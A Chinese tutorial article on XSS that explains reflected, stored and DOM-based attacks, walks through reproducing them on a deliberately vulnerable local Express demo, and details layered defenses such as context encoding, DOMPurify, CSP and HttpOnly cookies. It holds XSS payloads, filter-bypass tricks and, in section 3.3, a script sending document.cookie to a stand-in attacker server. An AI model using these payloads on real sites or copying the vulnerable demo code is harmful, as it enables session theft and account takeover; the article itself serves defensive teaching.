ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

XSS攻击原理与防御实战:从复现到分层防护

XSS攻击原理与防御实战:从复现到分层防护

我做过几年前端,也顺手接过不少安全相关的麻烦事,XSS 这个老家伙几乎每一次都能从前端代码的缝里钻出来。你说它难吧,原理翻来覆去就那么几行;你说它简单吧,线上被插入一段挖矿脚本、用户 cookie 被偷走、后台被人钓鱼登录的事,我身边就真实发生过好几回。这篇东西不绕弯子,直接讲 XSS 攻击的本质、三种主流形态、从零复现的完整过程,以及一套能真正落地的防御方案,适合正在写业务代码的前端、刚转安全的测试同学,也适合那些“只要功能跑通就行”的项目负责人。看完你至少能回答三个问题:XSS 到底怎么打进来的?我的代码哪里最危险?现在改要怎么改?

有人说 XSS 就是“把用户输入当成代码执行”,这句话大方向对,但不够精确。它真正吃透的是浏览器“数据”和“代码”混在一起解析的机制。你在页面上输出用户名字、搜索关键词、URL 参数,只要输出位置的上下文允许,那串看似无害的数据就可能被浏览器当成 HTML 标签、属性名、JavaScript 语句来执行。理解这层本质之后,后面所有防守动作都有了解释。

1. XSS 攻击的本质与三种主流分类

1.1 核心原理:数据的“越权”执行

浏览器在解析 HTML 文档时,会经历词法分析和语法构建。页面里凡是出现在<>之间、引号内部、<script>包裹区域、URL 属性位置的内容,都会被赋予“代码语义”。而 XSS 攻击者要做的,就是让自己的输入恰好落入这些位置,从而改变页面原本的执行逻辑。

我用一个生活类比来说:你在一张白纸上写“把这行字念出来”,这是一条指令;但如果有人把纸条折成标签形状,塞进打印机指令里,那纸条上的内容就会被当成打印命令执行。XSS 就是这个“折纸条”的过程,浏览器被利用去执行了本不该执行的“命令”。

数据变成代码的临界点,通常出现在这几个操作上:

  • 服务端直接把用户输入拼进 HTML 字符串返回。
  • 前端拿到数据后,用innerHTML、document.write、outerHTML等 API 将字符串插入文档。
  • 用eval、new Function、setTimeout('...')这类把字符串当代码执行。
  • Vue、React 等框架的v-html和dangerouslySetInnerHTML属性被直接用于渲染不可信内容。

一旦数据在这些位置被“执行”,攻击者就拿到了一个可以在受害者浏览器内运行任意 JavaScript 的通道。注意,是“在受害者的浏览器里”,这意味着攻击载荷拥有受害者的会话上下文、同源权限、页面 DOM 访问权。

1.2 三种形态:反射型、存储型与 DOM 型

按攻击载荷的持久化方式和执行路径,XSS 分为三类。很多人把这三种类型混在一起记,导致防御的时候漏掉关键环节,我用表格先把它们对比清楚。

类型载荷保存位置受害者触发方式影响范围典型出现位置
反射型仅存在于 URL 或请求参数中点击攻击者构造的恶意链接单个受害者搜索页、错误提示页、参数回显
存储型持久化在服务端数据库访问包含恶意数据的正常页面所有访问者,持久危害评论区、留言板、用户昵称、富文本
DOM 型不经过服务端,存在于前端运行时的 DOM 操作中访问特定 URL,前端 JS 读取其中的数据后动态插入单个受害者,但服务端日志看不到攻击痕迹SPA 路由参数、location.hash、postMessage数据

反射型最直观。攻击者构造https://某站点/search?q=<script>alert(1)</script>这样的链接,如果搜索页没做编码直接回显关键词,受害者点开链接,服务端把那段脚本原样返回,浏览器执行。这种攻击的“反射”体现在:脚本的源头是服务端响应,并非存储在服务端。

存储型是最危险的一种。攻击者把载荷写进评论、昵称、私信等入口,服务端保存下来,之后任何用户访问包含这段数据的页面都会中招。我两年前处理过一个后台管理系统的案例,攻击者把用户名注册成<img src=x onerror=...>,结果管理员每次登录后台,浏览器都会先弹一段窃取会话的脚本体,整个系统的后台权限就这样无声无息地被拖走了。

DOM 型要稍微绕一点。它的特点是攻击载荷根本不经过服务端。前端代码里写了类似document.getElementById('content').innerHTML = location.hash.substring(1)的逻辑,攻击者构造https://某站点/page#<img src=x onerror=...>,浏览器加载页面后,前端脚本自己去读 hash 里的内容,然后插入页面执行。服务端全程不知道发生了什么,日志里只有一次正常的页面请求,排查难度直线上升。

1.3 影响范围:从“弹窗”到“数据沦陷”

很多开发者对 XSS 的印象停留在“弹个 alert 证明漏洞存在”,实际上它的危害远不止如此。攻击者一旦拿到任意 JavaScript 执行权限,能在受害者浏览器里做的事情包括但不限于:

  • 读取document.cookie,掏走会话标识,模拟登录态发起业务操作。
  • 监听键盘事件,记录用户名、密码、支付信息。
  • 通过 DOM 操作伪造登录表单,诱导用户二次输入敏感信息。
  • 发起同源下的任意 AJAX 请求,修改资料、下单、转账。
  • 植入挖矿脚本、恶意下载链接、重定向到钓鱼页面。
  • 在支持 Service Worker 的站点上,注册恶意缓存,实现长期控制。

因为前端代码运行在受害者的浏览器里,同源策略反而帮了攻击者——他不需要“绕过”同源,因为脚本本身就是页面的一部分,天然拥有该源的全部权限。这也就解释了为什么 XSS 常被称为“同源策略的噩梦”。

2. 攻击链路拆解:一次完整攻击的必经之路

2.1 从输入到执行:攻击链的五个阶段

一次成功的 XSS 攻击,无论哪种类型,都会走完以下几个阶段。搞懂这条链路,防守思路也能跟着一条一条去断。

  1. 探测与侦查:攻击者测试目标页面是否存在输入回显、输出位置和过滤逻辑。常见的做法是在输入框提交test、<b>test</b>、<script>alert(1)</script>、"><svg onload=alert(1)>,观察页面如何渲染。
  2. 载荷构建:根据回显位置选择合适的 payload。回显在 HTML 标签内部用<img onerror>,在属性值里用"><svg onload=...>,在 script 内容里用</script><script>...,在 URL 里用javascript:协议。
  3. 传播与诱骗:把恶意链接发给目标用户,或者把载荷直接存进服务端数据库等待受害者访问。
  4. 执行与利用:受害者的浏览器解析页面,执行攻击脚本,把关键数据回传到攻击者服务器。
  5. 持久化与横向移动:攻击者用窃取的会话做进一步操作,或者在页面上长期驻留脚本。

这里要特别提一下第二步,载荷构建是整个链路里技术含量最高的环节。同样的输入,落在 HTML 正文、引号属性、JavaScript 字符串、CSS 位置,需要的编码和闭合方式完全不同。很多“过滤了 <> 就安全”的错觉,就是在这步被打破的——因为载荷根本不需要<和>,在事件属性里用实体编码也能执行。

2.2 攻击面盘点:业务里最容易出问题的地方

从事后复盘的角度看,XSS 容易出现在数据从“不可信源”流向“危险函数”的路径上。下面这些场景是我在实际代码 review 里看到的高频重灾区:

  • 搜索框与搜索结果的“原样回显”。每次搜完关键词,页面上显示“您搜索的是:xxx”,如果 xxx 直接拼进 HTML,就是反射型 XSS。
  • 用户资料中的昵称、签名、个人简介。这些字段存储后会在其他用户的页面展示,是存储型 XSS 的温床。
  • 富文本编辑器的内容展示。很多人以为富文本编辑器已经做好了过滤,实际上编辑器提交的内容如果直接innerHTML渲染,等于绕过了编辑器自带的清洗逻辑。
  • URL 参数回显在href、src、srcdoc等属性中。比如https://某站点/redirect?url=<script>...,或者location.href被直接赋值给用户可控的 URL。
  • SPA 应用的路由参数处理。Vue Router、React Router 的 query 参数、路径参数如果被插入 DOM,不处理就存在 DOM XSS。
  • JSONP 接口、postMessage消息监听。从跨域接口拿到的数据如果被eval或插入 DOM,等于绕过同源策略的限制引入风险。

在实际排查时,我习惯先画一遍数据流:用户输入先到哪、经过什么转换、最终在哪渲染。只要这条链路里有任何一环是“原样输出且位置敏感”,就要标记成待修点。

2.3 看似无害的输入,是怎么一步步变成攻击载荷的

有些输入乍一看完全无害,比如javascript:alert(1)没有尖括号,"><svg onload=alert(1)>看起来只是一串乱码。但在不同的输出上下文里,它们的语义完全不同。

我举一个搜索页的例子。假设服务端代码是:

<div> 您搜索的是:<?php echo $_GET['q']; ?> </div>

输入q=<script>alert(1)</script>时,浏览器解析这段 HTML,会直接把<script>标签里的内容作为脚本执行。这就是未编码输出导致的反射型 XSS。

如果把代码改成:

<a href="/search?keyword=<?php echo $_GET['q']; ?>">搜索</a>

输入q=" onclick="alert(1)就能闭合属性值,构造一个新的事件属性。浏览器解析到onclick时,属性的值是一段可以执行的脚本字符串。这里甚至不需要<和>,传统的“过滤尖括号”策略在这里完全失效。

再比如输出位置在<script>标签内部:

<script> var keyword = "<?php echo $_GET['q']; ?>"; </script>

输入"; alert(1); //就能提前闭合字符串,注入新的语句。这类输入没有尖括号,也无法用 HTML 实体编码来缓解,必须做 JavaScript 上下文的转义。

从这三个例子可以看出,XSS 的形态与输出位置强相关。同一个输入,在三个不同位置产生的后果完全不同,防御时也必须“看位置下菜碟”。

3. 实战复现:三种 XSS 从构造到触发的完整过程

3.1 环境准备与基础探测方法

在开始复现之前,我建议准备一个本地可控的测试环境,不要拿线上站点练手。最稳妥的办法是用 Docker 起一个简单的 PHP 或 Node 服务,或者直接在本地写一个几十行的 Express 应用。下面是一个方便复现反射型 XSS 和存储型 XSS 的最小服务端示例。

const express = require('express'); const app = express(); // 反射型 XSS 测试接口 app.get('/search', (req, res) => { const q = req.query.q || ''; res.send(` <html> <body> <p>您搜索的是:${q}</p> </body> </html> `); }); // 存储型 XSS 测试接口(简陋版,仅用于演示) let comments = []; app.get('/comment', (req, res) => { const content = req.query.content || ''; if (content) comments.push(content); let list = comments.map(c => `<li>${c}</li>`).join(''); res.send(` <html> <body> <h1>评论区</h1> <ul>${list}</ul> <form action="/comment" method="get"> <input name="content" placeholder="随便说点什么" /> <button type="submit">提交</button> </form> </body> </html> `); }); app.listen(3000, () => console.log('xss-demo running on 3000'));

启动服务后,先用正常参数访问确认回显位置,再逐层试探过滤规则。我通常按这个顺序测:

  • 提交<script>alert(1)</script>,看是否有弹窗且是否触发了过滤。
  • 提交"><img src=x onerror=alert(1)>,测试属性闭合。
  • 提交'"><svg onload=alert(1)>,测试多类型闭合。
  • 提交javascript:alert(1),测试 URL 属性伪协议。
  • 观察页面源代码,理解输出位置的具体上下文。

3.2 反射型 XSS 的完整复现

打开浏览器访问http://localhost:3000/search?q=test,页面显示“您搜索的是:test”。此时q的值被原样插入到<p>标签内部,输出位置的上下文是 HTML 元素内容。

接着访问http://localhost:3000/search?q=<script>alert(1)</script>,浏览器会先发出请求,服务端收到参数后把它拼进 HTML 响应,浏览器解析时遇到<script>标签,直接执行alert(1)。这里的关键是:攻击者需要让受害者点击包含恶意参数的链接。于是攻击者会把完整 URL 发给对方,或者把它伪装成短链接。

如果页面限制了一些尖括号,换用事件属性通常可以突破。访问:

http://localhost:3000/search?q=<img src=x onerror=alert(document.cookie)>

这个载荷不需要用户做任何额外操作,<img>加载失败时会触发onerror事件,脚本立即执行。document.cookie会在弹窗里显示当前页面的 cookie 内容,这证明了攻击者可以读取会话信息。

3.3 存储型 XSS 的完整复现

在上面那个简陋的评论区页面里,提交一条评论<img src=x onerror=alert(document.cookie)>,服务端把它存进数组,然后在列表渲染时原样输出。任何访问/comment页面的用户,浏览器都会加载这张“坏图片”,触发弹窗。

这种攻击最可怕的地方在于“不需要诱导点击”。攻击者提交一次,后患无穷。比如把载荷换成:

<script> new Image().src = 'http://攻击者服务器/collect?cookie=' + document.cookie; </script>

这段脚本会把每个访问者的 cookie 发往攻击者控制的服务器。攻击者拿到 cookie 后,可以在自己的浏览器里模拟登录态,以受害者身份操作业务。如果受害者的身份是管理员,整个后台都可能被接管。

实际修复存储型 XSS 时,光在输出时编码还不够,存储前也需要做一层清洗。因为存量数据里可能已经有恶意载荷,只修输出会漏掉已经存在的攻击载荷。

3.4 DOM 型 XSS 的完整复现

DOM 型 XSS 不依赖服务端,只需要一个静态 HTML 页面。我写个最简单的演示页面:

<!DOCTYPE html> <html> <body> <div id="content"></div> <script> const hash = location.hash.substring(1); document.getElementById('content').innerHTML = hash; </script> </body> </html>

访问http://localhost:3000/dom.html#<img src=x onerror=alert(1)>,页面加载后,前端脚本从 hash 里取出内容,用它设置innerHTML。浏览器解析插入的 HTML,图片加载失败触发onerror,执行攻击脚本。

这种攻击的服务端日志是“干净的”,因为恶意内容在 URL 的 hash 部分,根本不会发到服务端。传统的 WAF(Web 应用防火墙)和日志审计很难发现,只能在代码层面做拦截。

4. 防御体系构建:分层防护才是正解

4.1 第一道防线:输出编码必须分上下文

XSS 的根本成因是“不可信数据被当成代码输出”,因此最直接的防御是对所有输出到前端的数据做上下文感知编码。所谓“上下文感知”,就是先搞清楚数据会出现在 HTML 的哪个位置,再选择对应的编码方式。

输出位置需要使用的编码方式示例
HTML 元素内容HTML 实体编码,将& < > " '转为&amp; &lt; &gt; &quot; &#x27;用户输入→ 文本节点
HTML 属性值HTML 实体编码,并确保属性值使用引号包裹value="用户输入"
JavaScript 字符串JavaScript 转义,将\ ' "等转为 Unicode 转义序列var x = '用户输入'
URL 属性URL 编码,并禁止javascript:协议<a href="用户输入">
CSS 上下文CSS 转义,严格限制输入内容color: 用户输入

我见过最多的问题,是把“HTML 实体编码”当成万能钥匙,无论输出到哪个位置都只做一次htmlspecialchars。这在 HTML 元素内容里是够用的,但数据一旦被放进<script>标签或者事件属性里,HTML 实体编码反而可能被浏览器解码后再解析成代码,等于没防。

举个例子,在<script>标签内部:

<script> var keyword = "<?php echo htmlspecialchars($_GET['q']); ?>"; </script>

输入q=\"; alert(1); //,HTML 实体编码不会转义双引号和反斜杠,输出就变成var keyword = ""; alert(1); //",直接构造了一条新语句。这里的正解是对 JavaScript 字符串做 JSON 格式序列化,或者用专门的 JavaScript 上下文编码函数,确保引号、反斜杠、换行符全部被转义。

4.2 第二道防线:输入验证用白名单思维

输入验证只能作为第一道防线的补充,绝不能单独使用。以我的经验来看,黑名单过滤<script>、onerror、javascript:这些关键词,迟早会被绕过。比如大小写混合、HTML 实体编码、Unicode 编码、注释嵌套,每一种都能让简单的字符串匹配失效。

白名单验证的思路是“只允许明确合法的内容格式”。比如:

  • 用户年龄字段:只允许 1~3 位数字。
  • 手机号码:只允许数字、加号和短横线。
  • 邮箱:只允许字母、数字及少数几个符号。
  • 昵称:只允许中英文、数字、下划线,长度限制 1~20。

但这只适用于结构化字段。评论区、个人简介这类自由文本,本质上是“任何字符都可能合法”,无法靠白名单约束,就必须依赖输出编码和富文本清洗。

富文本内容的清洗也很关键。如果业务允许用户提交 HTML(如加粗、斜体、图片),前端编辑器自带的预览功能并不等于安全措施,因为提交到服务端的数据仍然可以绕过编辑器的 UI 限制。正确做法是用专业的 HTML 清洗库,比如 DOMPurify,在服务端和客户端都执行一遍白名单标签和属性过滤。只保留<b> <i> <a> <img>等安全标签,去除所有事件属性和javascript:协议。

4.3 第三道防线:CSP 给浏览器装上“护栏”

内容安全策略(Content Security Policy)是一项浏览器安全机制,它能限制页面可以加载和执行哪些资源。即使攻击者的脚本被注入成功,CSP 也能让浏览器拒绝执行非白名单脚本,把损害限制在一定范围内。

最简配置如下:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'

这段策略的含义是:页面只允许从同源加载脚本,禁止所有插件资源,<base>标签不允许指向外部地址。假设攻击者注入了一段远程脚本<script src="https://evil.example/x.js"></script>,浏览器会因为脚本来源不在白名单内而拒绝加载。

但保守的script-src 'self'有一个问题:现代前端几乎都要加载第三方统计脚本、CDN 上的公共库,这些都会被拦截。所以很多团队采用 nonce 或 hash 机制来放行合法脚本。nonce 是在每次响应时生成的一次性随机数,只有带正确 nonce 属性的脚本标签才会被信任。

Content-Security-Policy: script-src 'self' 'nonce-随机值'

页面里所有本地脚本都要加这个 nonce:

<script nonce="随机值"> // 正常业务代码 </script>

CSP 的配置需要在线上跑一段时间观察是否有误伤。我的建议是先以report-only模式上线,只收集违规报告不实际拦截,确认没有问题后再切换为强制模式,避免一上线就把正常业务脚本给拦截了。

4.4 第四道防线:浏览器的“原生安全开关”

有两项浏览器安全特性值得特别留意:HttpOnly和SameSite。

HttpOnly是 cookie 的一个属性,设置后document.cookie无法读取该 cookie 的值。这就把“窃取会话凭证”这条路直接堵死了一半。攻击者的 XSS 脚本仍然可以运行,但他拿不到你的会话 cookie,会话劫持的危险性大幅降低。

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Lax

Secure保证 cookie 只在 HTTPS 连接中传输,SameSite=Lax则限制跨站请求携带 cookie,这两者主要用来防御 CSRF,但与 XSS 配合使用也能降低整个攻击链的可用性。尤其是SameSite=Strict或Lax能有效阻断攻击者利用“跨站请求”来完成登录态下的操作,虽然 XSS 本身已经能在同源页面发请求,但多一层防护总归是好的。

团队的存量系统如果暂时无法大规模重构,先把登录 cookie 加上HttpOnly,成本极低,收益却非常明显。

4.5 前端开发实践:危险 API 的使用规范

前端框架在默认情况下已经做了大量转义。React 的{}插值会自动转义,Vue 的{{ }}也会转义,Angular 默认启用了内置的 XSS 防护。但框架给你留了“逃生舱门”,这些舱门恰恰是最大的风险点:

  • React 的dangerouslySetInnerHTML
  • Vue 的v-html
  • Angular 的[innerHTML]
  • 原生 DOM 的innerHTML、outerHTML、insertAdjacentHTML、document.write
  • 字符串形式的eval、setTimeout、setInterval、new Function

我给自己定了一条规矩:代码审查时只要看到这些 API,就必须追问数据来源。如果是不可信数据(用户输入、URL 参数、接口返回、postMessage 内容),一律禁止直接渲染;如果业务确实需要渲染富文本,先过 DOMPurify 再插 DOM。

另外,一个常被忽略的细节是href属性。<a href="用户输入">如果用户输入是javascript:alert(1),点击链接就会执行脚本。防御时要把 URL 指向限定在http:和https:协议,其他协议一律拦截。我一般写一个简单的白名单校验函数来处理。

function isSafeUrl(url) { try { const parsed = new URL(url, window.location.origin); return ['http:', 'https:'].includes(parsed.protocol); } catch (e) { return false; } }

5. 绕过手法与攻防博弈:理解攻击者才能防得更稳

5.1 常见绕过技巧盘点

我在安全圈子里待久了,发现很多开发者的防御习惯是“过滤几个危险关键词”,但攻击者恰恰最擅长在这种防线里找缝。下面列几个我实际见过的绕过案例。

第一个是大小写与编码混淆。过滤了<script>,但没过滤<ScRiPt>;过滤了onerror,但没过滤onError;过滤了<img>,但没过滤<image>或<svg>。HTML 标签名和属性名不区分大小写,浏览器在解析时会自动标准化,所以任何基于大小写敏感的过滤都可以被轻松突破。

第二个是 HTML 实体编码绕过。如果把输出限制在属性值里,输入<img src=x onerror=alert(1)>不会直接生效,因为尖括号被实体编码了,但在某些过滤逻辑下,onerror的属性值里可以写入&#97;lert(1)——浏览器解析属性值时会对 HTML 实体解码,然后脚本引擎再解释执行。这意味着只要过滤逻辑没有覆盖到“先解码再判断”的场景,实体编码就是一种有效绕过。

第三个是嵌套构造绕过正则黑名单。有些过滤用正则匹配alert,攻击者可以写成eval('al' + 'ert(1)'),或者window['al' + 'ert'](1)。字符串拼接、数组方法、atob解码、String.fromCharCode,都是常见的载荷编码手段。所以“过滤alert”这类思路本质上就是不可行的。

第四个是利用非标准标签与事件。HTML5 以后,很多标签的属性能触发脚本执行,比如<svg onload>、<video onerror>、<details ontoggle>、<marquee onstart>。一些团队的正则只过滤了img标签,结果被这些冷门标签轻松绕过。

5.2 纵深防御的正确姿势

既然每一种单一防御都可能被绕过,正确的做法是“多层堆叠、层层设卡”。我的推荐组合是:

  • 输入层:对结构化字段做白名单校验;富文本用 DOMPurify 清洗。
  • 输出层:按上下文做编码,HTML、属性、JavaScript、URL 各自转义。
  • 传输层:启用 CSP,配合 nonce 管理脚本来源。
  • Cookie 层:设置HttpOnly、Secure、SameSite。
  • 运行时:在前端代码里对危险 DOM API 做统一封装和拦截。

横向对比一下,只做输入过滤的系统,攻击者绕过一次就全盘失守;做了分层防护的系统,即使某一层被绕过,后面还有多层兜底。比如哪怕输出编码出了纰漏,CSP 仍然能阻止远程脚本执行;哪怕 CSP 配得松,HttpOnly也能保住会话 cookie。

还有一个容易被忽略的点:第三方依赖的供应链风险。很多 XSS 并不是业务代码写出来的,而是用了某个被污染的 npm 包。我给团队的建议是,锁定依赖版本、定期做安全检查、对必须引入的第三方库设置 CSP 白名单,避免因为锁定过紧导致频繁误报。

5.3 自动化扫描与人工验证的双轨配合

在开发流程里,把 XSS 检测前移到提交阶段,性价比远高于上线后补救。我常用的组合是:

  • 依赖扫描:用现有工具检查依赖库版本漏洞。
  • 静态代码分析:检查dangerouslySetInnerHTML、v-html等危险 API 的使用位置。
  • 动态扫描:在测试环境跑自动化爬虫,对页面参数做 fuzz 注入。
  • 人工验证:自动化工具报出来的问题,人工逐一判断是否真的可利用,避免误报导致开发同学“狼来了”疲劳。

注意自动化工具只能发现规律明显的漏洞,业务逻辑里的 DOM XSS 往往需要结合具体上下文才能判断。比如某个页面的postMessage监听器里把数据直接写进 DOM,自动化工具很难发现,人工代码审查反而是最有效的手段。

6. 常见问题排查:上线前后必看的避坑清单

6.1 排查工具与调试技巧

我的排查流程一般是这样:报告说“某个页面有 XSS”,我第一步打开浏览器开发者工具,找到数据渲染前后的节点变化,判断输出位置,再构造针对性的测试载荷。

第一步,把console打开,看看有没有脚本报错。XSS 载荷执行失败往往伴随报错,报错信息能提示是哪一段代码把数据写进了 DOM。

第二步,用源代码面板定位可疑 API 调用。搜索innerHTML、v-html、eval这些关键词,逐个确认调用点的数据来源。

第三步,在浏览器地址栏构造测试 URL,逐步加入闭合符号和事件属性。手动测完再用自动化工具全站扫一遍,防止漏掉隐藏入口。

我还习惯在控制台手动执行一段脚本,快速检测某个节点是否会被当作 HTML 解析。比如在注入点输入<b>test</b>,如果页面里出现了加粗的 “test”,就证明这段输入被当作 HTML 渲染了,可以进一步试探更多载荷。

6.2 高频问题速查表

下面是我在项目里最常被问到的几个问题,以及对应的解决建议。

问题场景可能的根因建议措施
搜索页弹窗,但只对当前用户生效反射型 XSS,参数原样输出对输出做 HTML 编码,避免用户点击含载荷的链接后中招
访问评论区就弹窗,所有用户都受害存储型 XSS,数据入库时未清洗对提交内容做白名单清洗,渲染前输出编码,清理存量恶意数据
服务端日志干净,但前端有弹窗DOM 型 XSS,前端直接读 location 或 postMessage审查危险 DOM API,对 URL 参数值做编码后再插入
加了HttpOnly后登录状态仍异常攻击载荷可能不读 cookie,而是直接模拟请求审计脚本行为,部署 CSP 限制脚本来源,必要时下线受染页面
富文本编辑器提交的内容中招编辑器清洗不彻底或服务端未二次清洗服务端用 DOMPurify 清洗入库,不能信任前端提交结果
自动化扫描器报一堆问题但无法利用误报,或载荷被浏览器内置 XSS 过滤器拦截人工复测,关注输出位置的编码逻辑是否完备

6.3 存量系统改造的优先级建议

老项目往往不可能一口气把所有代码都重构完,这时候要按风险等级排序推进。我的建议顺序是:

先把所有登录、支付、个人信息相关页面过滤一遍,这些页面的 XSS 影响最直接。其次是所有“用户内容展示型”页面,比如评论区、用户主页、消息列表,存储型 XSS 的持久性危害更大。然后是通用型页面,搜索、错误提示、跳转这些,风险相对低但覆盖广。

每改完一块,跑一遍回归测试。重点是确认业务功能不受影响,比如用户名里包含中文引号、富文本里的自定义样式仍然正常展示。

另外我特别想提醒一点:不要为了修复 XSS 把业务逻辑改坏。有一次某团队的修复方案是“把所有输出全部转成纯文本”,结果富文本编辑器功能直接报废,用户提交的表格和图片全变成了源码字符串。正确做法是按需选择编码策略,富文本走白名单清洗,普通文本走上下文编码,结构化字段走格式校验,三个场景各用各的方案。

结尾:一些实操后的零碎经验

最后分享几条我这些年踩坑总结出来的体感经验。第一,不要迷信“框架自动防护”。Vue 和 React 的插值确实安全,但只要代码里出现了一次v-html或dangerouslySetInnerHTML,前面所有的“自动安全”都会功亏一篑。代码审查时对这类 API 保持高度敏感,比什么都管用。

第二,修漏洞之前一定要先想清楚输出位置。我见过太多人复制粘贴“HTML 实体编码”到处用,结果在 JavaScript 上下文里白忙活一场。正确做法是拿到一段代码后,先问:这里的数据最终会出现在页面的哪个位置?答案会直接决定修复方式。

第三,安全修复必须搭配回归测试。线上真实发生过修复 XSS 后把搜索功能改出毛病的事故。每加一层编码,都要用真实数据跑一遍核心流程,尤其是那些包含特殊字符的数据。

XSS 不是那种“学了就能一劳永逸”的东西,它更像一场持续的攻防博弈。攻击者在不断寻找业务代码里的新注入点,防守方要做的就是把这套分层防御体系坚持住,坚持在每一次代码提交里多看一眼数据流,坚持在每一个新功能上线前问一句“这里的数据能变成代码吗”。这种习惯养成了,XSS 对你的项目来说就会从“定时炸弹”变成“可控风险”。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进